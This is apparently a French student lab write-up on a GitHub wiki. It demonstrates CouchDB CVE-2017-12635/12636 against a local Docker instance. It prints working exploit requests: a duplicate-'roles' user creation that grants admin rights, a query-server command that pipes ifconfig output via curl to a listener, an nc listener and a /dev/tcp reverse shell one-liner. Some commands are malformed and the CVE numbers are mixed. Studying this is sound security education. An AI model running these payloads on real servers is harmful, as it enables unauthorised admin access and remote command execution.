-
Notifications
You must be signed in to change notification settings - Fork 1
Home
Etude de cas dans le cadre du certificat SEOC 2020/2021
PoC de CVE-2017-12635 (Apache CouchDB 1.7.0 / 2.x <2.1.1) - Escalade de privilèges à distance réalisé par:
viardots /ensimagsecu sur PC Ensimag via connection SSH
https://github.com/Guillaumeclavel/Etude_Faille_CVE_12636
/!\ Mise en place d'un dépôt public pour faciliter l'accès
Extraction de l'archive dans le repertoire Home
Avec la ligne de commande suivante : docker-compose up
Ici version 1.6.1, toujours sur le port 5984
docker container run -d --name couchdb-sandbox -p 5984:5984 couchdb:1.6.1
-
Statut du container
-
Ou, en ligne de commande via CURL
curl -X GET http://localhost:5984Retour du site
Tuto Curl disponible ici -> https://curl.se/docs/httpscripting.html -
Ou via l'interface "Futon" via le navigateur
http://127.0.0.1:5984/_utils/Futon permet d’exploiter toutes les fonctionnalités de CouchDB et rend aisée l’utilisation des fonctionnalités avancées. À l’aide de Futon, nous pouvons créer et détruire des bases de données, consulter et éditer des documents, créer et parcourir les vues MapReduce et déclencher la réplication entre les bases de données. Pour accéder à Futon depuis votre navigateur web, allez sur :
curl -X GET http://localhost:5984/_all_dbs
Ligne de commande permettant de voir toutes les bases de données créées
curl -X PUT http://localhost:5984/records
Via la ligne de commande précédente, on peut voir que la BDD "records" a été créé
curl -X PUT http://localhost:5984/_config/admins/admin -d '"admin"'
> Par défaut, pas de compte "admin". La ligne de de commande au dessus, active la création d'un administrateur avec le log : admin, mdp : admin
- Sans l'identification ADMIN :
curl -X PUT http://localhost:5984/new_recordsPas bon car par le bon compte utilisateur.
- Avec l'identification ADMIN :
curl -X PUT http://admin:admin@localhost:5984/new_recordsLigne de commande fonctionnelle car utilisation du compte admin.
-
Ajout d'un nouvel utilisateur, sans droit particulier
curl -X PUT http://localhost:5984/_users/org.couchdb.user:guest \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d '{"name": "guest", "password": "guest", "roles": ["_admin"], "roles": [], "type": "user"}'Exploitation de la Faille 12635 => 2 "roles" déclarés pour l'utilisateur guest avec le premier
"_admin" -
Tentative de suppression de la base de données créée précédement, sans identifiant :
curl -X DELETE http://localhost:5984/new_recordsNe fonctionne pas car pas de droit.
-
Tentative de suppression de la base de données, sous identification 'guest'
curl -X DELETE http://guest:guest@localhost:5984/new_recordsLa base de donnée est supprimée ! Le compte "guest" possède le "rôle"
"admin!
Un utilisateur mal intentionné peut donc "outre passer" les restrictions souhaitées par l'administrateur
> Escalade de privilège
L'objectif de cet exploit est de montrer que l'on peut lancer des commandes "shell", à partir du serveur "CouchDB".
On va chercher à mettre en évidence cette faille via 3 modes :
- Command Curl
- Script python, avec commande simple "ip" or "ifconfig"
- Script python avec tentative de shell reverse
###0) Principe de la Mise en place d'observateur :
- Mécanisme recherché
On cherche à détourner une fonctionnalité de Couchdb, qui autorise la définition de son propre language pour générer ses fonctions de base de données NoSQL MAP/REDUCE. Le principe de la faille 12636 est de détourner cette fonctionnalité, pour déclarer des taches "shell", et les executer lors de l'appel à ces fonctions.
(javascript, coffeescript, cmd ==> Commande shell)Nous allons chercher à montrer que les commandes shell déclarées sont bien executées.
-
Console "CoucheDB" LogLevel info Dans la console de lancement de couchDB (via
Docker-compose up, la configuration de lancement couchDB en modelogLevel=info, permet d'avoir un retour sur les requetes, et le fonctionnement interne du container " COuchDB" -
Mise en place d'un Port pour l'écoute
Sur un nouveau terminal, on lance la commande suivante:
nc -lvvp 1420
Ce nouveau terminal sera à l'écoute du port
1420sur la machine virtuel. -
Vérification de la configuration de notre VM
Avec la commande :sudo netstat -tunlp
On observe que le programme Python écoute le port 6080
L'adresse locale 0.0.0.0:1420 est bien sur écoute protocole tcp et tcp6
le docker contenant "couchDB" écoute sur le port 5984 ###1) Tentative via ligne de commande Curl -
En ligne de commande
CURL -X PUT xxxandCURL -X POST xxx
- Creating a new database
curl -X PUT 'http://127.0.0.1:5984/vultest
- Adding some content
curl -X PUT 'https://X.X.X.X:6984/vultest/vul' -d '{"_id":"770855a97726d5666d70a22173005c77"}
- Remote code to execute as a language, the output will be shown in the remote server
curl -X PUT 'http//://127.0.0.1:5984/_config/query_servers/cmd/-d \
'"/sbin/ifconfig | curl http://127.0.0.0:1420 -d @-"'
- Triggering the language to execute the remote code
curl -X POST 'http://127.0.0.1/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}'
Pb de connection réseau ?!
Envoyer via une commande shell l'information "ifconfig" sur l'adresse ip/port précisé
--> On remarque que le commande, n'est pas comprise
###2) Tentative script PYTHON avec commande simple
-
On lance un terminal depuis code
-
On execute le script Python
Exploit_12636avec les arguments suivants :--priv-
-c "fonction": fonction appelée dans la commande shell ici "ip" - l'host : l'adresse du serveur couchDB
==> la commande à lancer est la suivante :
python3 Exploit_12636.py --priv -c "ip" http:\\localhost:5984
On se place dans le repertoire suivant et on lance code .
On voit que dans la fenetre de commande couchDB, la commande ip est excecutée, heureusement n'est pas transmis à l'IP attaquant ' ###3) Tentative script PYTHON avec une cible "reverse shell" Le principe du reserve shell est que l'assaillant est accès directement à une interface shell depuis son poste :
La commande shell suivante sur la machine host : sh -i >& /dev/tcp/0.0.0.0/1420 0>&1,
ouvre un accès shell, avec des commandes déclarées depuis l'adresse IP /port déclaré (ici 0.0.0.0/1420), mais executé sur la machine host.
Un assaillant ayant introduit cette commande sur un serveur, et écoutant l'adresse déclaré pourra lancer depuis son poste, tout type de comamnde.
Exmple mis en place sur la VM :
On lance la commande suivante depuis terminal "Code", ayant au préalable ouvert une fenetre commande écoutant le port 1420
python3 exp.py http://localhost:5984 1.6 127.0.0.1 1420
Sur des fonctions simple IP par exemple